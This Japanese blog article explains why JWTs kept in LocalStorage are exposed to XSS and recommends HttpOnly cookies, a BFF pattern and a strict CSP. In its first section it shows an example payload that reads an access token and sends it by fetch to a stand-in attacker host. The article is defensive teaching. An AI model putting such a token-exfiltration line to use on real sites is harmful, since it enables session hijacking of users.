Web Storageの黄昏:なぜあなたのJWTは「丸見え」なのか?
現代のWebアプリケーションアーキテクチャにおいて、認証トークンの保管場所は「聖域」であるべきだ。しかし、多くのテックリードが陥っている罠がある。それは、LocalStorageやSessionStorageを「ただの便利なキーバリューストア」として軽視し、セキュリティ境界線を曖昧にしているという現実だ。
今日は、表層的なXSS対策の教科書を捨てて、攻撃者がメモリとブラウザのサンドボックスをどう蹂躙するのか、その冷徹な論理を紐解いていく。
1. 攻撃者が「LocalStorage」を愛する理由
XSS(クロスサイトスクリプティング)の文脈で、攻撃者が最も狙うのは「機密情報の露出」だ。反射型であれ格納型であれ、DOM型であれ、スクリプトが実行された瞬間に攻撃者は window.localStorage にアクセスできる。
なぜこれが致命的なのか。HttpOnly属性が付与されたCookieは、ブラウザのネットワークスタック内部で保護されており、JavaScript経由でのアクセスが物理的に遮断されている。一方で、Web Storageは「フロントエンドのロジックから簡単に読み取れること」を主眼に置いているため、XSSが一度でも成功すれば、ゲームオーバーだ。
攻撃者のペイロードは、もはや複雑な難読化さえ必要としない。
// 攻撃者の視点:たった一行でトークンを外部へ送信する
const stolenToken = localStorage.getItem(‘access_token’);
fetch(‘https://attacker-c2.com/log?data=’ + btoa(stolenToken));
この単純なコードが、あなたのアプリの認証を無効化し、セッションハイジャックを完遂させる。
2. HttpOnly Cookieへの回帰と「CSRF」という悪魔の代償
「じゃあ、全部HttpOnly Cookieに移せばいいのか?」と考えるのは短絡的だ。確かにXSSからの窃取リスクは排除できるが、今度はCSRF(クロスサイトリクエストフォージェリ)という別の怪物が牙を剥く。
ここで求められるのは、「モダンな防御スタック」の再構築だ。
推奨される防衛アーキテクチャ
1. Cookieの属性を極限まで固める:
HttpOnly: JSアクセス禁止。Secure: HTTPS強制。SameSite=StrictまたはLax: これによりCSRFをほぼ封じ込める。
2. BFF(Backend For Frontend)パターン:
- トークンをフロントで保持せず、サーバーサイド(BFF)でセッション管理を行う。フロントにはセッションIDのみをCookieとして渡す。
3. どうしてもLocalStorageを使わざるを得ない場合の「暗号化」という幻想
もし、どうしてもLocalStorageにデータを置く必要がある(オフライン機能など)場合、安易な暗号化は無意味だ。ブラウザ上で実行されるJSが復号鍵を持っている時点で、攻撃者はその鍵もメモリ経由で盗み出す。
それでもなお防御を講じるなら、「鍵のライフサイクル管理」と「実行環境の検証」が必要になる。
// 注意: これは「気休め」に近いが、攻撃コストを上げる一つの手段
// Web Crypto APIを用いた鍵の分離と限定的な利用
async function getEncryptedData(key, data) {
const encoder = new TextEncoder();
const iv = window.crypto.getRandomValues(new Uint8Array(12));
// 鍵はメモリ内にのみ存在し、LocalStorageには渡さない
const encrypted = await window.crypto.subtle.encrypt(
{ name: “AES-GCM”, iv },
key,
encoder.encode(data)
);
return { encrypted, iv };
}
4. 根本治療:CSP(Content Security Policy)という最後の砦
XSSそのものを防ぐのが最善手であることは言うまでもない。だが、ゼロデイや人的ミスによる脆弱性の混入は避けられない。ここで効いてくるのが、強力なCSPのポリシーだ。
特に、script-src にドメイン制限をかけ、unsafe-inline を排除する。さらに重要なのは、trusted-types を活用してDOMベースのXSSを封じることだ。
セキュリティヘッダーの設定例
Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com; object-src ‘none’; frame-ancestors ‘none’; base-uri ‘self’;
結論:エンジニアの責務
LocalStorageに認証情報を無造作に放り込む行為は、自宅の鍵を玄関の外に置いておくのと同じだ。我々セキュリティアーキテクトがやるべきことは、「どうすれば盗まれないか」を考えること以上に、「盗まれても被害を最小化(Blast Radiusを最小化)する構造」を作ることにある。
- LocalStorageは一時的なUI状態のみに使う。
- 機密情報はHttpOnly Cookie + BFFで守る。
- CSPでブラウザの挙動を厳格に支配する。
技術の進歩と共に攻撃手法も洗練される。しかし、データへのアクセス権限を「必要最小限(Least Privilege)」に絞るという哲学は、いつの時代も変わらない。あなたの書いているそのコードは、明日のインシデントの引き金になっていないか?今一度、冷静にアーキテクチャを見直してほしい。
コメント